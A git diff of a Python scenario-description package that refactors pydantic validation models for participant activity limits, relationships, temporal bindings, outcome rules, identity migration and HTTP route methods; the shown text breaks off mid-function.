@@ class ParticipantActivityActionCandidate(SDLModel): """Stable weighted action candidate and its bounded recovery policy.""" action_ref: str = Field(min_length=1) - weight: int = Field(ge=1, le=1_000_000_000) + weight: _PositiveActivityQuantity depends_on: list[PortableIdentifier] = Field(default_factory=list, max_length=1024) retryable_failure_classes: list[ParticipantFailureClass] = Field(default_factory=list, max_length=32) - max_retries: int = Field(default=0, ge=0, le=1024) - cooldown_ticks: int = Field(default=0, ge=0, le=1_000_000_000) + max_retries: _RetryCount = 0 + cooldown_ticks: _CooldownTicks = 0 @field_validator("depends_on", "retryable_failure_classes") @classmethod @@ -123,7 +148,7 @@ def _require_unique_values(cls, values: list[object]) -> list[object]: @model_validator(mode="after") def _validate_retry_policy(self) -> ParticipantActivityActionCandidate: - if bool(self.retryable_failure_classes) != bool(self.max_retries): + if isinstance(self.max_retries, int) and bool(self.retryable_failure_classes) != bool(self.max_retries): raise ValueError("activity candidate retryable failure classes and max_retries must be declared together") return self @@ -147,10 +172,10 @@ class ParticipantAutonomousExecutionPolicyV2(SDLModel): min_length=1, max_length=1024, ) - max_occurrences: int = Field(ge=1, le=1_000_000) - max_action_attempts: int = Field(ge=1, le=1_000_000) - max_burst_size: int = Field(default=1, ge=1, le=1024) - max_in_flight: int = Field(default=1, ge=1, le=1024) + max_occurrences: _AttemptLimit + max_action_attempts: _AttemptLimit + max_burst_size: _ConcurrencyLimit = 1 + max_in_flight: _ConcurrencyLimit = 1 failure_policy: ParticipantExecutionFailurePolicy = ParticipantExecutionFailurePolicy.STOP evaluation_authority: ParticipantEvaluationAuthority @@ -169,38 +194,58 @@ def _validate_candidate_graph(self) -> ParticipantAutonomousExecutionPolicyV2: dependencies = { candidate_id: set(candidate.depends_on) for candidate_id, candidate in self.action_candidates.items() } - unknown = sorted( - dependency for values in dependencies.values() for dependency in values if dependency not in candidate_ids - ) + unknown = _unknown_candidate_dependencies(dependencies, candidate_ids) if unknown: raise ValueError( "activity candidate dependencies must resolve to declared candidates: " + ", ".join(unknown) ) - visiting: set[str] = set() - visited: set[str] = set() - - def visit(candidate_id: str) -> None: - if candidate_id in visiting: - raise ValueError("activity candidate dependency graph must be acyclic") - if candidate_id in visited: - return - visiting.add(candidate_id) - for dependency in dependencies[candidate_id]: - visit(str(dependency)) - visiting.remove(candidate_id) - visited.add(candidate_id) - - for candidate_id in self.action_candidates: - visit(str(candidate_id)) - if all(dependencies.values()): - raise ValueError("activity candidate dependency graph must admit an initial candidate") - if self.max_occurrences > self.max_action_attempts: + _validate_candidate_dependencies(dependencies) + if ( + isinstance(self.max_occurrences, int) + and isinstance(self.max_action_attempts, int) + and self.max_occurrences > self.max_action_attempts + ): raise ValueError("activity max_occurrences cannot exceed max_action_attempts") - if self.max_burst_size > self.max_occurrences: + if ( + isinstance(self.max_burst_size, int) + and isinstance(self.max_occurrences, int) + and self.max_burst_size > self.max_occurrences + ): raise ValueError("activity max_burst_size cannot exceed max_occurrences") return self +def _unknown_candidate_dependencies(dependencies: dict[str, set[str]], candidate_ids: set[str]) -> list[str]: + return sorted( + dependency for values in dependencies.values() for dependency in values if dependency not in candidate_ids + ) + + +def _validate_candidate_dependencies(dependencies: dict[str, set[str]]) -> None: + _require_acyclic_candidate_dependencies(dependencies) + if all(dependencies.values()): + raise ValueError("activity candidate dependency graph must admit an initial candidate") + + +def _require_acyclic_candidate_dependencies(dependencies: dict[str, set[str]]) -> None: + visiting: set[str] = set() + visited: set[str] = set() + + def visit(candidate_id: str) -> None: + if candidate_id in visiting: + raise ValueError("activity candidate dependency graph must be acyclic") + if candidate_id in visited: + return + visiting.add(candidate_id) + for dependency in dependencies[candidate_id]: + visit(str(dependency)) + visiting.remove(candidate_id) + visited.add(candidate_id) + + for candidate_id in dependencies: + visit(candidate_id) + + class ParticipantAutonomousExecutionPolicyV3(ParticipantAutonomousExecutionPolicyV2): """V2 activity plus scoped multi-resource governance.""" @@ -219,7 +264,7 @@ def _validate_concurrency_projection(self) -> ParticipantAutonomousExecutionPoli raise ValueError( "participant-autonomous-execution/v3 requires exactly one participant-owned concurrent_actions budget" ) - if participant_concurrency[0].limit != self.max_in_flight: + if isinstance(self.max_in_flight, int) and participant_concurrency[0].limit != self.max_in_flight: raise ValueError("participant concurrent_actions budget limit must equal max_in_flight") return self diff --git a/implementations/python/packages/raes/participant_local_outcome.py b/implementations/python/packages/raes/participant_local_outcome.py new file mode 100644 index 000000000..442a0ff76 --- /dev/null +++ b/implementations/python/packages/raes/participant_local_outcome.py @@ -0,0 +1,40 @@ +"""Versioned ACT-618 local meaning within the SEM-215 rule family.""" + +from typing import Annotated, Literal + +from pydantic import Field, model_validator + +from ._base import SDLModel + +OutcomeCategory = Literal["task_completion", "effect_realization"] +OutcomeAttainment = Literal["undetermined", "not_attained", "partial", "attained"] +OutcomeKnowledge = Literal["unknown", "supported", "conflicting", "withheld"] +_Text = Annotated[str, Field(min_length=1, pattern=r"\S")] + + +class LocalOutcomeCriterion(SDLModel): + """An explicitly declared realized effect, never an action status shortcut.""" + + criterion_id: _Text + source_id: _Text + effect_id: _Text + + +class LocalOutcomeDefinition(SDLModel): + """All criteria must be evidenced; contradictory observations need correction.""" + + model_version: Literal["1.0.0"] + category: OutcomeCategory + criterion_basis: _Text + criteria: list[LocalOutcomeCriterion] = Field(min_length=1) + conflict_policy: Literal["retain_until_explicit_correction"] + freshness_policy: Literal["exact_observation_cut"] + episode_policy: Literal["reset_without_transfer"] + + @model_validator(mode="after") + def _unique_criteria(self) -> "LocalOutcomeDefinition": + identities = [criterion.criterion_id for criterion in self.criteria] + bindings = [(criterion.source_id, criterion.effect_id) for criterion in self.criteria] + if len(set(identities)) != len(identities) or len(set(bindings)) != len(bindings): + raise ValueError("local outcome criteria and effect bindings must be unique") + return self diff --git a/implementations/python/packages/raes/participant_migration.py b/implementations/python/packages/raes/participant_migration.py new file mode 100644 index 000000000..421f64f37 --- /dev/null +++ b/implementations/python/packages/raes/participant_migration.py @@ -0,0 +1,224 @@ +"""Explicit, source-preserving adoption of participant relations (#1338).""" + +from __future__ import annotations + +from typing import Any + +import yaml +from pydantic import Field +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ArtifactTransformationPreservationModel, ArtifactTransformationReportModel + +from ._base import SDLModel, is_variable_ref +from ._errors import SDLError +from ._source_profile import DEFAULT_PARSER_LIMITS, SDLParserLimits, SDLSourceParseOptions +from ._transformation_support import check, diagnostic +from ._transformation_types import SDLTransformationResult +from ._yaml_loader import load_sdl_yaml +from .canonical import canonical_sdl_digest +from .parser import parse_sdl +from .scenario import Scenario +from .semantic_revisions import source_byte_digest + +PARTICIPANT_MIGRATION_PROFILE = "adopt-participant-identity/v1" + + +class ParticipantIdentityMigrationContext(SDLModel): + """Exact source and owner-only (None) or explicit participant decisions. + + Keys are JSON pointers to legacy entity objectives, e.g. /objectives/goal. + The context is an author decision, never inferred from affiliations. + """ + + source_digest: str = Field(pattern=r"^sha256:[0-9a-f]{64}$") + entity_objectives: dict[str, str | None] = Field(default_factory=dict, max_length=10_000) + + +def _pointer(section: str, name: str) -> str: + return f"/{section}/" + name.replace("~", "~0").replace("/", "~1") + + +def _legacy_objectives(payload: dict[str, Any]) -> dict[str, dict[str, Any]]: + return { + _pointer("objectives", name): objective + for name, objective in payload.get("objectives", {}).items() + if isinstance(objective, dict) and "entity" in objective + } + + +def _migrate_agent(agent: dict[str, Any]) -> str | None: + if {"affiliations", "role"}.intersection(agent): + return "conflicting-fields" + if not isinstance(agent["entity"], str) or not agent["entity"]: + return "source-invalid" + agent["affiliations"] = [agent.pop("entity")] + return None + + +def _migrate_objective(objective: dict[str, Any], assignment: str | None) -> str | None: + if {"owner", "assigned_participant"}.intersection(objective) or {"agent", "entity"}.issubset(objective): + return "conflicting-fields" + field = "agent" if "agent" in objective else "entity" + value = objective.pop(field) + if not isinstance(value, str) or not value: + return "source-invalid" + objective["assigned_participant" if field == "agent" else "owner"] = value + if field == "entity" and assignment is not None: + objective["assigned_participant"] = assignment + return None + + +def _detach_declarations(payload: dict[str, Any]) -> None: + # YAML aliases share Python objects; decisions belong to declaration keys, + # not to alias identity. Detach each mapping before changing relation fields. + for section in ("agents", "objectives"): + payload[section] = { + name: dict(value) if isinstance(value, dict) else value for name, value in payload.get(section, {}).items() + } + + +def _migrate_relations(payload: dict[str, Any], decisions: dict[str, str | None]) -> tuple[str | None, str]: + _detach_declarations(payload) + for name, agent in payload.get("agents", {}).items(): + if not isinstance(agent, dict) or "entity" not in agent: + continue + if code := _migrate_agent(agent): + return code, _pointer("agents", name) + for name, objective in payload.get("objectives", {}).items(): + if not isinstance(objective, dict) or not {"agent", "entity"}.intersection(objective): + continue + pointer = _pointer("objectives", name) + if code := _migrate_objective(objective, decisions.get(pointer)): + return code, pointer + _migrate_variation_slots(payload.get("variation_points", {})) + return None, "" + + +def _migrate_variation_slots(points: dict[str, Any]) -> None: + for point in points.values(): + if not isinstance(point, dict) or not isinstance(point.get("target"), dict): + continue + target = point["target"] + if target.get("slot") == "objectives.agent": + target["slot"] = "objectives.assigned_participant" + elif target.get("slot") == "objectives.entity": + target["slot"] = "objectives.owner" + + +def _unresolved_field(declaration: dict[str, Any], fields: tuple[str, ...]) -> str | None: + for field in fields: + value = declaration.get(field) + if any(is_variable_ref(item) for item in (value if isinstance(value, list) else [value])): + return field + return None + + +def _unresolved_relation_pointer(payload: dict[str, Any]) -> str | None: + for section, fields in ( + ("agents", ("affiliations", "role", "actions")), + ("objectives", ("owner", "assigned_participant", "actions")), + ): + for name, declaration in payload.get(section, {}).items(): + if isinstance(declaration, dict) and (field := _unresolved_field(declaration, fields)): + return _pointer(section, name) + "/" + field + return None + + +def _source_issue(payload: dict[str, Any]) -> tuple[str | None, str]: + if payload.get("imports") or "materialization_provenance" in payload: + return "source-unsupported", "/imports" if payload.get("imports") else "/materialization_provenance" + if any(not isinstance(payload.get(section, {}), dict) for section in ("agents", "objectives", "variation_points")): + return "source-invalid", "" + return None, "" + + +def _decision_issue( + payload: dict[str, Any], context: ParticipantIdentityMigrationContext | None, source_digest: str +) -> tuple[str | None, str]: + if context is not None and context.source_digest != source_digest: + return "source-mismatch", "/context/source_digest" + decisions = context.entity_objectives if context else {} + required = _legacy_objectives(payload) + missing = required.keys() - decisions.keys() + if missing: + return "decision-required", min(missing) + code = "decision-mismatch" if decisions.keys() - required.keys() else None + return code, "/context/entity_objectives" if code else "" + + +def _adopt( + payload: object, context: ParticipantIdentityMigrationContext | None, source_digest: str +) -> tuple[dict[str, Any] | None, str | None, str]: + if not isinstance(payload, dict): + return None, "source-invalid", "" + code, pointer = _source_issue(payload) + if code is None: + code, pointer = _decision_issue(payload, context, source_digest) + if code is None: + code, pointer = _migrate_relations(payload, context.entity_objectives if context else {}) + if code is None and (unresolved_pointer := _unresolved_relation_pointer(payload)): + code, pointer = "unresolved-reference", unresolved_pointer + return payload if code is None else None, code, pointer + + +def migrate_participant_identity( + content: str, + *, + context: ParticipantIdentityMigrationContext | None = None, + limits: SDLParserLimits = DEFAULT_PARSER_LIMITS, +) -> SDLTransformationResult: + """Produce a new validated artifact or an atomic, bounded refusal. + + This reader supports pre-1338 authoring sources. Migrate imported modules + independently and update their owning version/digest bindings explicitly. + Historical compiled snapshots and runtime evidence are never rewritten. + """ + digest = source_byte_digest(content) + context_payload = context.model_dump(mode="json") if context else None + policy_digest = canonical_json_digest(context_payload) + output: Scenario | None = None + pointer = "" + code = None + try: + payload = load_sdl_yaml(content, source_options=SDLSourceParseOptions(limits=limits)) + payload, code, pointer = _adopt(payload, context, digest) + if payload is not None: + output = parse_sdl(yaml.safe_dump(payload, sort_keys=False), limits=limits) + except (SDLError, ValueError, TypeError): + code = "source-or-target-invalid" + diagnostic_code = f"participant-migration.{code}" if code else None + report = ArtifactTransformationReportModel( + operation_profile=PARTICIPANT_MIGRATION_PROFILE, + status="success" if output is not None else "refused", + artifact_kind="sdl-authoring", + source_profile="sdl-participant-relations/pre-1338", + target_profile="sdl-authoring-input/v1", + canonicalization_profile="participant-migration-digest-pair/v1", + source_digest=digest, + target_digest=canonical_sdl_digest(output).value if output is not None else None, + policy_digest=policy_digest, + derivation_digest=canonical_json_digest( + {"operation": PARTICIPANT_MIGRATION_PROFILE, "source": digest, "policy": policy_digest} + ), + preconditions=(check("source-and-author-decisions", "passed" if output is not None else "failed"),), + postconditions=(check("canonical-target-admitted", "passed"),) if output is not None else (), + affected_identities=tuple(sorted(context.entity_objectives)) if context else (), + preservation=ArtifactTransformationPreservationModel( + profile="explicit-participant-relations/v1", + outcome="not-applicable", + limitations=( + "Authored relation migration is not evidence of realized action or cross-version equivalence.", + ), + ), + diagnostics=( + diagnostic( + diagnostic_code, + "Participant migration refused; review source-bound decisions and " + "docs/migration/participant-identity.md.", + address=pointer, + ), + ) + if diagnostic_code + else (), + ) + return SDLTransformationResult(output, (), report) diff --git a/implementations/python/packages/raes/participant_outcome_semantics.py b/implementations/python/packages/raes/participant_outcome_semantics.py index aeb263745..9cb7c0985 100644 --- a/implementations/python/packages/raes/participant_outcome_semantics.py +++ b/implementations/python/packages/raes/participant_outcome_semantics.py @@ -2,9 +2,12 @@ from enum import Enum -from pydantic import Field, field_validator, model_validator +from pydantic import Field, GetJsonSchemaHandler, field_validator, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema from ._base import SDLModel +from .participant_local_outcome import LocalOutcomeDefinition class OutcomeInterpretationSourceLayer(str, Enum): @@ -145,11 +148,24 @@ class OutcomeInterpretationRule(SDLModel): observation_point_basis: str interpretation_basis: str source_bindings: list[OutcomeInterpretationSourceBinding] = Field(min_length=1) - target_bindings: list[OutcomeInterpretationTargetBinding] = Field(min_length=1) + target_bindings: list[OutcomeInterpretationTargetBinding] + local_outcome: LocalOutcomeDefinition | None = None evidence_refs: list[str] = Field(min_length=1) limitations: list[str] = Field(min_length=1) diagnostics: list[str] = Field(default_factory=list) + @classmethod + def __get_pydantic_json_schema__(cls, schema: CoreSchema, handler: GetJsonSchemaHandler) -> JsonSchemaValue: + result = handler.resolve_ref_schema(handler(schema)) + result.setdefault("allOf", []).append( + { + "if": {"required": ["local_outcome"], "properties": {"local_outcome": {"type": "object"}}}, + "then": {"properties": {"semantic_version": {"const": "2.0.0"}}}, + "else": {"properties": {"target_bindings": {"minItems": 1}}}, + } + ) + return result + @field_validator( "semantic_version", "observation_point_basis", @@ -185,6 +201,16 @@ def _require_non_empty_refs(cls, values: list[str]) -> list[str]: @model_validator(mode="after") def _validate_unique_bindings(self) -> "OutcomeInterpretationRule": + if self.local_outcome is None and not self.target_bindings: + raise ValueError("legacy outcome rules require target_bindings") + if self.local_outcome is not None: + if self.semantic_version != "2.0.0": + raise ValueError("local outcome definitions require semantic_version 2.0.0") + sources = {source.source_id: source for source in self.source_bindings} + for criterion in self.local_outcome.criteria: + source = sources.get(criterion.source_id) + if source is None or source.source_layer != OutcomeInterpretationSourceLayer.PARTICIPANT_ACTION_OUTCOME: + raise ValueError("local outcome criteria require a declared participant action source") source_ids = [source.source_id for source in self.source_bindings] if len(set(source_ids)) != len(source_ids): raise ValueError("outcome interpretation source_id values must be unique") diff --git a/implementations/python/packages/raes/participant_relationships.py b/implementations/python/packages/raes/participant_relationships.py new file mode 100644 index 000000000..d0479f3c2 --- /dev/null +++ b/implementations/python/packages/raes/participant_relationships.py @@ -0,0 +1,80 @@ +"""Explicit participant intent within the canonical SDL relationship graph.""" + +from enum import Enum +from typing import Annotated + +from pydantic import ConfigDict, Field, field_validator, model_validator + +from ._base import SDLModel + +RelationshipReference = Annotated[str, Field(min_length=1, pattern=r"\S")] + +PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS = { + "source_action_refs": "action_contracts", + "target_action_refs": "action_contracts", + "objective_refs": "objectives", + "behavior_specification_refs": "behavior_specifications", + "authority_basis_refs": "named", + "scope_refs": "named", + "observation_boundary_refs": "observation_boundaries", +} + + +class ParticipantRelationshipKind(str, Enum): + """Portable relation meanings, independent of backend mechanisms.""" + + COORDINATION = "coordination" + DELEGATION = "delegation" + COOPERATION = "cooperation" + COMPETITION = "competition" + SUPERVISION = "supervision" + + +class ParticipantRelationship(SDLModel): + """Directed authored intent; a declaration never grants operational rights.""" + + model_config = ConfigDict( + json_schema_extra={ + "if": { + "required": ["control_specification_ref"], + "properties": {"control_specification_ref": {"type": "string"}}, + }, + "then": {"properties": {"kind": {"enum": ["delegation", "supervision"]}}}, + } + ) + + kind: ParticipantRelationshipKind + source_action_refs: list[RelationshipReference] = Field( + default_factory=list, json_schema_extra={"uniqueItems": True} + ) + target_action_refs: list[RelationshipReference] = Field( + default_factory=list, json_schema_extra={"uniqueItems": True} + ) + objective_refs: list[RelationshipReference] = Field(default_factory=list, json_schema_extra={"uniqueItems": True}) + behavior_specification_refs: list[RelationshipReference] = Field( + default_factory=list, json_schema_extra={"uniqueItems": True} + ) + authority_basis_refs: list[RelationshipReference] = Field( + default_factory=list, json_schema_extra={"uniqueItems": True} + ) + scope_refs: list[RelationshipReference] = Field(default_factory=list, json_schema_extra={"uniqueItems": True}) + observation_boundary_refs: list[RelationshipReference] = Field( + default_factory=list, json_schema_extra={"uniqueItems": True} + ) + control_specification_ref: str | None = Field(default=None, min_length=1, pattern=r"\S") + + @field_validator(*PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS) + @classmethod + def validate_refs(cls, refs: list[str]) -> list[str]: + if any(not ref.strip() for ref in refs) or len(refs) != len(set(refs)): + raise ValueError("participant relationship references must be non-empty and unique") + return refs + + @model_validator(mode="after") + def validate_control_kind(self) -> "ParticipantRelationship": + if self.control_specification_ref is not None and self.kind not in { + ParticipantRelationshipKind.DELEGATION, + ParticipantRelationshipKind.SUPERVISION, + }: + raise ValueError("control_specification_ref requires delegation or supervision") + return self diff --git a/implementations/python/packages/raes/participant_temporal_semantics.py b/implementations/python/packages/raes/participant_temporal_semantics.py index 84934dde7..f944047e2 100644 --- a/implementations/python/packages/raes/participant_temporal_semantics.py +++ b/implementations/python/packages/raes/participant_temporal_semantics.py @@ -1,6 +1,7 @@ """Typed participant temporal semantics (SEM-213).""" from enum import Enum +from typing import Literal from pydantic import Field, field_validator, model_validator @@ -165,6 +166,27 @@ class ParticipantTemporalState(str, Enum): ) +class ParticipantSharedTimeBinding(SDLModel): + """Explicit shared-time binding; legacy descriptive references stay opaque.""" + + profile: Literal["participant-shared-time/v1"] + clock_ref: str = Field(min_length=1) + constraint_ref: str = Field(min_length=1) + event_point: Literal["start", "end", "observed", "effective"] + evidence_mode: Literal["event", "continuous"] + condition_precondition_id: str | None = Field(default=None, min_length=1, exclude_if=lambda value: value is None) + observation_boundary_ref: str | None = Field(default=None, min_length=1, exclude_if=lambda value: value is None) + + @model_validator(mode="after") + def _validate_evidence_requirements(self) -> "ParticipantSharedTimeBinding": + if self.evidence_mode == "continuous": + if self.condition_precondition_id is None or self.observation_boundary_ref is None: + raise ValueError("continuous dwell requires a condition_precondition_id and observation_boundary_ref") + elif self.condition_precondition_id is not None or self.observation_boundary_ref is not None: + raise ValueError("event evidence does not use condition coverage fields") + return self + + class ParticipantTemporalContract(SDLModel): """Typed SEM-213 temporal contract for a participant action.""" @@ -181,6 +203,9 @@ class ParticipantTemporalContract(SDLModel): randomization_basis: str | None = None ordering_basis: str backend_disclosure_refs: list[str] = Field(default_factory=list) + shared_time_binding: ParticipantSharedTimeBinding | None = Field( + default=None, exclude_if=lambda value: value is None + ) @field_validator( "temporal_id", @@ -256,7 +281,10 @@ def _validate_sem213_contract_shape(self) -> "ParticipantTemporalContract": raise ValueError("deadline temporal contracts require at least two event_points") if ParticipantTemporalEventPoint.DEADLINE not in event_points: raise ValueError("deadline temporal contracts require a deadline event_point") - if not (event_points & _DEADLINE_OUTCOME_POINTS): + allowed_outcomes = _DEADLINE_OUTCOME_POINTS + if self.shared_time_binding is not None: + allowed_outcomes = allowed_outcomes | {ParticipantTemporalEventPoint.START} + if not (event_points & allowed_outcomes): raise ValueError("deadline temporal contracts require end, observed, or effective event_points") if self.temporal_kind == ParticipantTemporalContractKind.DWELL: if len(self.event_points) < 2: @@ -269,6 +297,20 @@ def _validate_sem213_contract_shape(self) -> "ParticipantTemporalContract": raise ValueError("cadence temporal contracts require submit, start, observed, or effective event_points") if self.temporal_kind == ParticipantTemporalContractKind.LATENCY and len(self.event_points) < 2: raise ValueError("latency temporal contracts require at least two event_points") + if self.shared_time_binding is not None: + binding = self.shared_time_binding + if self.temporal_kind == ParticipantTemporalContractKind.DEADLINE: + if binding.evidence_mode != "event" or binding.event_point not in { + point.value for point in event_points + }: + raise ValueError("bound deadline requires event evidence for a declared event_point") + elif self.temporal_kind == ParticipantTemporalContractKind.DWELL: + if binding.evidence_mode == "event" or binding.event_point != "start": + raise ValueError("bound dwell requires condition coverage before action start") + if binding.event_point not in {point.value for point in event_points}: + raise ValueError("bound dwell requires a declared event_point") + else: + raise ValueError("participant-shared-time/v1 binds deadline or dwell contracts") return self diff --git a/implementations/python/packages/raes/prospective_content.py b/implementations/python/packages/raes/prospective_content.py new file mode 100644 index 000000000..fe86e1c2c --- /dev/null +++ b/implementations/python/packages/raes/prospective_content.py @@ -0,0 +1,22 @@ +"""Semantic admission of common SDL content before a producer materializes it.""" + +from typing import ClassVar + +from ._scenario_instantiation import collect_variable_tokens +from .scenario import ScenarioContent + + +class ProspectiveScenarioContent(ScenarioContent): + """Internal validation view: no new SDL document phase or execution authority.""" + + _allows_qualified_declaration_keys: ClassVar[bool] = True + + +def admit_prospective_content(payload: dict[str, object]) -> ScenarioContent: + from .validator import SemanticValidator + + if collect_variable_tokens(payload): + raise ValueError("prospective SDL cannot contain unresolved variables") + admitted = ProspectiveScenarioContent.model_validate(payload) + SemanticValidator(admitted).validate() + return admitted diff --git a/implementations/python/packages/raes/relationships.py b/implementations/python/packages/raes/relationships.py index 629a46fe9..72ce3cb6c 100644 --- a/implementations/python/packages/raes/relationships.py +++ b/implementations/python/packages/raes/relationships.py @@ -12,18 +12,41 @@ from enum import Enum -from pydantic import Field, field_validator +from pydantic import ConfigDict, Field, field_validator, model_validator +from pydantic.json_schema import JsonSchemaValue from ._base import SDLModel, normalize_enum_value from .deployment_tenancy import RelationshipCarrierPlacement, RelationshipSharedService from .enterprise_identity import RelationshipForestTrust, RelationshipIdentityFederation from .identity_domains import RelationshipDomainController, RelationshipDomainJoin +from .participant_relationships import ParticipantRelationship from .runtime_application import RelationshipProxyUpstream from .runtime_database import RelationshipDatabaseAccess from .runtime_forwarding_agent import RelationshipForwardingEdge from .runtime_mail_service import RelationshipMailAccess from .runtime_platform_application import RelationshipServiceIntegration +_PARTICIPANT_EDGE_FIELDS = frozenset({"type", "source", "target", "description", "participant", "properties"}) + + +def _participant_detail_schema(schema: JsonSchemaValue) -> None: + """Publish the same type/detail pairing checked by the model validator.""" + other_details = {field: {"type": "null"} for field in schema["properties"] if field not in _PARTICIPANT_EDGE_FIELDS} + schema.setdefault("allOf", []).append( + { + "if": {"properties": {"type": {"const": "participant"}}, "required": ["type"]}, + "then": { + "required": ["participant"], + "properties": { + "participant": {"type": "object"}, + "properties": {"maxProperties": 0}, + **other_details, + }, + }, + "else": {"properties": {"participant": {"type": "null"}}}, + } + ) + class RelationshipType(str, Enum): """How two scenario elements relate to each other.""" @@ -41,6 +64,7 @@ class RelationshipType(str, Enum): DIRECTORY_FEDERATES_TO = "directory_federates_to" PLACED_ON_CARRIER = "placed_on_carrier" USES_SHARED_SERVICE = "uses_shared_service" + PARTICIPANT = "participant" class Relationship(SDLModel): @@ -66,6 +90,8 @@ class Relationship(SDLModel): structurally validated and cross-referable rather than buried in prose. """ + model_config = ConfigDict(json_schema_extra=_participant_detail_schema) + type: RelationshipType source: str target: str @@ -82,8 +108,24 @@ class Relationship(SDLModel): identity_federation: RelationshipIdentityFederation | None = None carrier_placement: RelationshipCarrierPlacement | None = None shared_service: RelationshipSharedService | None = None + participant: ParticipantRelationship | None = None @field_validator("type", mode="before") @classmethod def normalize_type(cls, v: str) -> str: return normalize_enum_value(v) + + @model_validator(mode="after") + def validate_participant_detail(self) -> "Relationship": + if (self.type == RelationshipType.PARTICIPANT) != (self.participant is not None): + raise ValueError("participant relationship type and participant detail must be declared together") + if self.participant is not None and ( + self.properties + or any( + getattr(self, field) is not None + for field in type(self).model_fields + if field not in _PARTICIPANT_EDGE_FIELDS + ) + ): + raise ValueError("participant relationships cannot carry properties or another typed detail") + return self diff --git a/implementations/python/packages/raes/runtime_application.py b/implementations/python/packages/raes/runtime_application.py index dbdaf57cb..ef0a2a8c2 100644 --- a/implementations/python/packages/raes/runtime_application.py +++ b/implementations/python/packages/raes/runtime_application.py @@ -14,19 +14,26 @@ subject, never intrinsic route classification fields. """ +import re from enum import Enum -from typing import Any +from typing import Annotated, Any -from pydantic import Field, ValidationInfo, field_validator, model_validator +from pydantic import AfterValidator, Field, ValidationInfo, WithJsonSchema, field_validator, model_validator from raes.runtime_vocabulary import GovernedVocabulary -from ._base import SDLModel, is_variable_ref, parse_int_or_var +from ._base import ( + VARIABLE_REFERENCE_SCHEMA_MARKER, + VARIABLE_TOKEN_PATTERN, + SDLModel, + is_variable_ref, + parse_int_or_var, +) from ._classification_guard import LegacyClassificationGuard +from .runtime_application_values import RuntimeApplicationExposedField from .runtime_filesystem import RuntimeSensitivityClassification from .runtime_values import ( coerce_string_list, - enforce_observed_value_redaction, parse_optional_bool_or_var, parse_runtime_enum_or_var, ) @@ -54,15 +61,48 @@ _MIN_REDIRECT_STATUS_CODE = 300 _MAX_REDIRECT_STATUS_CODE = 399 -# Standard HTTP request methods (RFC 9110 + PATCH). Backend-observed surfaces -# normalize to this portable spelling; ``${var}`` placeholders pass through. +# Historically accepted built-ins retain case-insensitive authoring aliases. +# Every other RFC HTTP token is an exact, case-sensitive wire identity. _HTTP_METHODS = frozenset({"GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH"}) +_HTTP_METHOD_MAX_LENGTH = 128 +_JSON_SCHEMA_HARD_END = r"$(?![\s\S])" +_HTTP_METHOD_PATTERN = rf"^[!#$%&'*+\-.^_`|~0-9A-Za-z]{{1,{_HTTP_METHOD_MAX_LENGTH}}}{_JSON_SCHEMA_HARD_END}" -# Sensitivity classes whose raw value must never be recorded. -_REDACTED_SENSITIVITIES = ( - RuntimeSensitivityClassification.REDACTED, - RuntimeSensitivityClassification.OPERATOR_SECRET, -) + +def _normalize_http_method(value: str) -> str: + """Validate one bounded HTTP wire-method identity and apply legacy aliases.""" + + if is_variable_ref(value): + return value + if not isinstance(value, str) or re.fullmatch(_HTTP_METHOD_PATTERN, value, re.ASCII) is None: + raise ValueError( + f"HTTP method must be a non-empty ASCII token no longer than {_HTTP_METHOD_MAX_LENGTH} characters" + ) + upper = value.upper() + return upper if upper in _HTTP_METHODS else value + + +HttpMethod = Annotated[ + str, + AfterValidator(_normalize_http_method), + WithJsonSchema( + { + "anyOf": [ + { + "type": "string", + "minLength": 1, + "maxLength": _HTTP_METHOD_MAX_LENGTH, + "pattern": _HTTP_METHOD_PATTERN, + }, + { + "type": "string", + "pattern": rf"^{VARIABLE_TOKEN_PATTERN}{_JSON_SCHEMA_HARD_END}", + VARIABLE_REFERENCE_SCHEMA_MARKER: True, + }, + ] + } + ), +] class RuntimeApplicationProtocol(str, Enum): @@ -243,46 +283,6 @@ def normalize_sensitivity( return parse_runtime_enum_or_var(v, RuntimeSensitivityClassification, field_name="sensitivity") -class RuntimeApplicationExposedField(SDLModel): - """A route-visible fixture secret or intentionally exposed diagnostic field. - - The sensitivity vocabulary is shared with the rest of the runtime surface. - A ``redacted`` or ``operator_secret`` field must omit its raw ``value``. - Other values, including credential-shaped fixture facts, are scenario - content needed for range realization and participant observation. - """ - - name: str - sensitivity: GovernedVocabulary[RuntimeSensitivityClassification] = RuntimeSensitivityClassification.UNKNOWN - value: str = "" - description: str = "" - - @field_validator("name") - @classmethod - def validate_name(cls, v: str) -> str: - if not isinstance(v, str) or not v.strip(): - raise ValueError("exposed field name must be a non-empty string") - return v - - @field_validator("sensitivity", mode="before") - @classmethod - def normalize_sensitivity( - cls, - v: RuntimeSensitivityClassification | str, - ) -> RuntimeSensitivityClassification | str: - return parse_runtime_enum_or_var(v, RuntimeSensitivityClassification, field_name="sensitivity") - - @model_validator(mode="after") - def validate_redacted_value(self) -> "RuntimeApplicationExposedField": - enforce_observed_value_redaction( - owner_label=f"exposed field '{self.name}'", - value=self.value, - classification=self.sensitivity, - redacted_classifications=_REDACTED_SENSITIVITIES, - ) - return self - - class RuntimeApplicationRouteUpstreamTarget(SDLModel): """The origin a reverse-proxied route forwards to. @@ -325,7 +325,7 @@ class RuntimeApplicationRoute(LegacyClassificationGuard): route_id: str path: str - methods: list[str] = Field(default_factory=list) + methods: list[HttpMethod] = Field(default_factory=list, min_length=1, json_schema_extra={"uniqueItems": True}) name: str = "" description: str = "" auth_required: bool | str | None = None @@ -353,26 +353,17 @@ def validate_path(cls, v: str) -> str: @field_validator("methods", mode="before") @classmethod def coerce_methods(cls, v: Any) -> list[str]: - return coerce_string_list(v) + values = coerce_string_list(v) + if not values: + raise ValueError("route methods must not be empty") + return values @field_validator("methods") @classmethod - def normalize_methods(cls, v: list[str]) -> list[str]: - if not v: - raise ValueError("route methods must not be empty") - normalized: list[str] = [] - for method in v: - if is_variable_ref(method): - normalized.append(method) - continue - if not isinstance(method, str) or not method.strip(): - raise ValueError("route method must be a non-empty string") - upper = method.strip().upper() - if upper not in _HTTP_METHODS: - allowed = ", ".join(sorted(_HTTP_METHODS)) - raise ValueError(f"route method '{method}' must be one of: {allowed}") - normalized.append(upper) - return normalized + def validate_unique_methods(cls, v: 